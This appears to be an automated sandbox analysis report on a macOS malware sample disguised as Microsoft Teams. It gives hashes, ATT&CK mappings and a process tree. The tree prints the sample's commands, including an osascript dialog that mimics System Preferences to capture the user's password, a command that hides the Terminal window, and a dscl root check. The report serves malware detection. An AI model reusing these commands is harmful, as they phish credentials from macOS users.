0ba94279ca60f4181cfe86b5951f8e5495b91a6738d212fc3ef7cff549a19bfd

Resubmissions

15/08/2026, 14:23

260815-rqendaywdx10

14/08/2026, 17:08

260814-vnpbkseq2x10

Analysis

max time kernel
136s
max time network
104s
platform
macos-10.15_amd64
resource
macos-20250619-en
resource tags

arch:amd64arch:i386image:macos-20250619-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
14/08/2026, 17:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MicrosoftTeams/MicrosoftTeams
Size 897KB
Sample260814-vnpbkseq2x
SHA256 0ba94279ca60f4181cfe86b5951f8e5495b91a6738d212fc3ef7cff549a19bfd
MD5 d752e569363bb5a2f6c3c8ba8dbe1899
SHA1 dc259679c157316286326d4d8a63cbd2cb87b321
SHA512 b5af665e880650ed9f88f145340d3ceb6866cf9fb2eb39a8fd2e83ed23bddf13df942c1fcffb9c6f3cb23f61c2a27b5e5c516083e8d757f767aff327ebc0d19c
SSDEEP 24576:c7wXb1k4sqPQKa2TujWEpbC1uiveWMzEtf2P6q:c7wXhqSNTujWEpbC1uivehzEtf2P6
TLSH
T10F158D43F1AD2570E097A23D3FDE6BF3D5127C35AFBE60BA1A818A73116225185C6237
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access execution

Malware Config

Signatures

Prompts the user for their password using a hidden input dialog 1 TTPs 2 IoCs

Adversaries may mimic a system prompt to capture a user's password through a GUI dialog with masked input.

credential_access collection

GUI Input Capture

T1056.002

ioc	Process
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found

AppleScript 1 TTPs 4 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"	Process not Found
osascript -e "tell application \"Terminal\" to set visible of front window to false"	Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/MicrosoftTeams/MicrosoftTeams\""
1⤵
PID:487

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/MicrosoftTeams/MicrosoftTeams\""
1⤵
PID:487

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/MicrosoftTeams/MicrosoftTeams
1⤵
PID:487
- /bin/zsh
  /bin/zsh -c /Users/run/MicrosoftTeams/MicrosoftTeams
  2⤵
  PID:488
- /Users/run/MicrosoftTeams/MicrosoftTeams
  /Users/run/MicrosoftTeams/MicrosoftTeams
  2⤵
  PID:488

/bin/sh
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:489

/bin/bash
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:489

/usr/bin/osascript
osascript -e "tell application \"Terminal\" to set visible of front window to false"
1⤵
PID:489

/usr/libexec/xpcproxy
xpcproxy com.apple.Terminal.1804
1⤵
PID:490

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
1⤵
PID:490
- /usr/bin/login
  login -pf run
  2⤵
  PID:492
- - /bin/zsh
    -zsh
    3⤵
    PID:494
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:495
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:496

/usr/libexec/xpcproxy
xpcproxy com.apple.AccountPolicyHelper
1⤵
PID:493

/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
1⤵
PID:493

/usr/libexec/xpcproxy
xpcproxy com.apple.audio.AudioComponentRegistrar
1⤵
PID:503

/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar
/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon
1⤵
PID:503

/bin/sh
sh -c "mkdir /Users/root/1685112166"
1⤵
PID:542

/bin/bash
sh -c "mkdir /Users/root/1685112166"
1⤵
PID:542

/bin/mkdir
mkdir /Users/root/1685112166
1⤵
PID:542

/bin/sh
sh -c "dscl /Local/Default -authonly root \"\""
1⤵
PID:543

/bin/bash
sh -c "dscl /Local/Default -authonly root \"\""
1⤵
PID:543

/usr/bin/dscl
dscl /Local/Default -authonly root
1⤵
PID:543

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:544

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:544

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:544

/usr/libexec/xpcproxy
xpcproxy com.apple.ViewBridgeAuxiliary
1⤵
PID:546

/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary
1⤵
PID:546

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:547

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:547

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

AppleScript

T1059.002

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Input Capture

T1056

GUI Input Capture

T1056.002

Discovery

Lateral Movement

Collection

Input Capture

T1056

GUI Input Capture

T1056.002

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads